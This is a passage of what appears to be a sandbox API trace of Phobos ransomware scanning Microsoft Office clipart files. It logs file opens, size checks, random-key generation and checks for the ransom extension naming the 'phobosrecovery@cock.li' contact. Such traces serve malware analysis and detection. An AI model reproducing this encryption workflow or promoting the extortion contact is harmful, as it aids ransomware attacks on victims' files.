(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01682_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.926] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01701_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.926] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5316) returned 1 [0152.926] CloseHandle (hObject=0x580) returned 1 [0152.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01701_.wmf")) returned 0x220 [0152.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01701_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01701_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.927] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01848_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.967] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1120) returned 1 [0152.967] CloseHandle (hObject=0x580) returned 1 [0152.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01848_.wmf")) returned 0x220 [0152.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01848_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01848_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.968] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01849_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.968] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=624) returned 1 [0152.968] CloseHandle (hObject=0x580) returned 1 [0152.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01849_.wmf")) returned 0x220 [0152.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01849_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01849_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.968] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01852_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.969] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4408) returned 1 [0152.969] CloseHandle (hObject=0x580) returned 1 [0152.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01852_.wmf")) returned 0x220 [0152.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01852_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01852_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01852_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.969] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01858_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.970] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4296) returned 1 [0152.970] CloseHandle (hObject=0x580) returned 1 [0152.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01858_.wmf")) returned 0x220 [0152.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01858_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01858_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.970] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01866_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.971] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3512) returned 1 [0152.971] CloseHandle (hObject=0x580) returned 1 [0152.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01866_.wmf")) returned 0x220 [0152.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01866_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01866_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.971] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02009_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.971] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10208) returned 1 [0152.971] CloseHandle (hObject=0x580) returned 1 [0152.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02009_.wmf")) returned 0x220 [0152.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02009_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.972] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02041_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.178] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2328) returned 1 [0153.178] CloseHandle (hObject=0x574) returned 1 [0153.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02041_.wmf")) returned 0x220 [0153.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02041_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.179] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.180] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10476) returned 1 [0153.180] CloseHandle (hObject=0x574) returned 1 [0153.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02413_.wmf")) returned 0x220 [0153.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02413_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.180] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02417_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.181] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2852) returned 1 [0153.181] CloseHandle (hObject=0x574) returned 1 [0153.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02417_.wmf")) returned 0x220 [0153.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02417_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.181] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02423_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.182] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12216) returned 1 [0153.183] CloseHandle (hObject=0x574) returned 1 [0153.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02423_.wmf")) returned 0x220 [0153.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02423_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.183] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02424_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.184] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1340) returned 1 [0153.184] CloseHandle (hObject=0x574) returned 1 [0153.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02424_.wmf")) returned 0x220 [0153.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02424_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02424_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.184] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.186] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6472) returned 1 [0153.186] CloseHandle (hObject=0x574) returned 1 [0153.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02426_.wmf")) returned 0x220 [0153.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02426_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02426_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.186] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02431_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.187] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7212) returned 1 [0153.187] CloseHandle (hObject=0x574) returned 1 [0153.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02431_.wmf")) returned 0x220 [0153.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02431_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.187] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.188] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4088) returned 1 [0153.189] CloseHandle (hObject=0x574) returned 1 [0153.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02435_.wmf")) returned 0x220 [0153.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02435_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.189] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.190] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5172) returned 1 [0153.190] CloseHandle (hObject=0x574) returned 1 [0153.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02439_.wmf")) returned 0x220 [0153.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02439_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.190] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.191] GetFileSizeEx (in: 